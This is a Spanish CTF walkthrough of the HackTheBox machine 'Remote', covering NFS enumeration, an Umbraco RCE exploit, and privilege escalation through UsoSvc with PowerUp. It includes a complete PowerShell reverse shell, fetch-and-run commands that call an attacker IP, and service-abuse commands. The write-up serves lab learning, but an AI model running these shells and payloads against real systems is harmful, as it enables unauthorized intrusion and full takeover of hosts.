HackTheBox. Paso de Remote. NFS, RCE en CMS Umbraco y LPE a través de UsoSvc



Sigo publicando soluciones enviadas a la finalización de máquinas desde el sitio HackTheBox .



En este artículo, profundizamos en el recurso NFS, nos ocupamos del exploit RCE para CMS Umbraco y encontramos el vector LPE a través de UsoSvc usando PowerUp.



La conexión al laboratorio es vía VPN. Se recomienda no conectarse desde una computadora de trabajo o desde un host donde haya datos importantes para usted, ya que se encuentra en una red privada con personas que saben algo sobre seguridad de la información.



Información organizacional
, , Telegram . , , .



. , - , .



Recon



Esta máquina tiene una dirección IP de 10.10.10.180, que agrego a / etc / hosts.



10.10.10.180 	remote.htb


El primer paso es escanear los puertos abiertos. Dado que se necesita mucho tiempo para escanear todos los puertos con nmap, primero lo haré usando masscan. Escaneamos todos los puertos TCP y UDP desde la interfaz tun0 a 500 paquetes por segundo.



masscan -e tun0 -p1-65535,U:1-65535 10.10.10.180 --rate=500






Muchos puertos están abiertos en el host. Ahora escaneémoslos con nmap para filtrar y seleccionar los que necesitamos.

nmap remote.htb -p49680,49667,49666,49665,80,139,49678,5985,135,49679,111,445,47001,2049,49664,21






Ahora, para obtener información más detallada sobre los servicios que se ejecutan en los puertos, ejecute un escaneo con la opción -A.



nmap -A remote.htb -p49680,49667,49666,49665,80,139,49678,5985,135,49679,111,445,47001,2049,49664,21






El puerto 111 es responsable de NFS (le permite montar sistemas de archivos remotos a través de la red). Veamos la lista de recursos.







Tenemos recursos disponibles, montemos este recurso.







Y en este directorio encontramos Web.config y la carpeta Umbraco. Umbraco es una plataforma de sistema de gestión de contenido de código abierto.







Por lo tanto, necesitamos ver todas las configuraciones, así como averiguar la versión de Umbraco. Esto es lo que se puede observar en Web.Config.











Busque las credenciales para smtp y la versión de Umbraco: 7.12.4. Koraya es vulnerable si hay credenciales.



Punto de entrada







A continuación, enumeré todos los archivos y directorios que están en el servidor remoto para seleccionar y ver los archivos que son de interés.

ls -lR ./


















Después de que el rango de archivos sea limitado, debe mirarlos (puede usar grep superficialmente para seleccionar líneas como: usuario, inicio de sesión, contraseña, vers, etc.). Así es como encontramos información sobre la existencia de dos usuarios:











Después de eso, hacemos grep nuevamente buscando las líneas admin y ssmith. Y encontramos hashes para los datos del usuario.











Y hackear con éxito la contraseña de administrador.







Si observa la base de exploit-db, entonces hay un exploit listo para usar, pero debe cambiarse ligeramente.







USUARIO



Primero: especificaremos las credenciales y el host.







En segundo lugar, cambiaremos la carga especificando el archivo ejecutable y sus parámetros. En este caso, usamos ping para la prueba.







Tan pronto como se ejecute el programa, veremos paquetes ICMP en tcpdump.











Carguemos el siguiente shell inverso:

$client = New-Object System.Net.Sockets.TCPClient('10.10.15.60',4321)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
$sendback = (iex $data 2>&1 | Out-String )
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()




Guardémoslo en shell.ps1, iniciemos el servidor http en la máquina local.

sudo python3 -m http.server


Cambiemos la carga.







Y después de ejecutar, obtenemos una conexión posterior.







No hay directorios de usuarios en el servidor, por lo que encontramos la bandera en Público.







RAÍZ



Después de mirar la información sobre el usuario, notamos un privilegio interesante.







Pero dado que este es Windows Server 2019, suplantar el token para LPE no funcionará.







El uso de Let PowerUp para encontrar el vector de LPE. Vamos a descargarlo de localhost y hacer una verificación completa.

iex (New-Object Net.WebClient).DownloadString('http://10.10.15.60/tools/PowerUp.ps1');Invoke-AllChecks






Y tenemos permisos para actualizar el servicio Orchestrator. Update Orchestrator es un servicio que organiza las actualizaciones de Windows para usted. Este servicio es responsable de descargar, instalar y verificar actualizaciones para la computadora.



Creemos un segundo shell (cambiemos el puerto en el primero) y cargámoslo en la máquina.

wget http://10.10.15.60/shell2.ps1 -O C:\Windows\Temp\shell2.ps1


Y ahora ejecutémoslo con UsoSvc.

Invoke-ServiceAbuse -Name UsoSvc -Command "cmd.exe /c powershell C:\Windows\Temp\shell2.ps1"






Y obtenemos una conexión posterior.







Puedes unirte a nosotros en Telegram . Allí puede encontrar materiales interesantes, cursos filtrados y software. Reunamos una comunidad, en la que habrá personas con experiencia en muchas áreas de TI, entonces siempre podremos ayudarnos unos a otros en cualquier tema de TI y seguridad de la información.



All Articles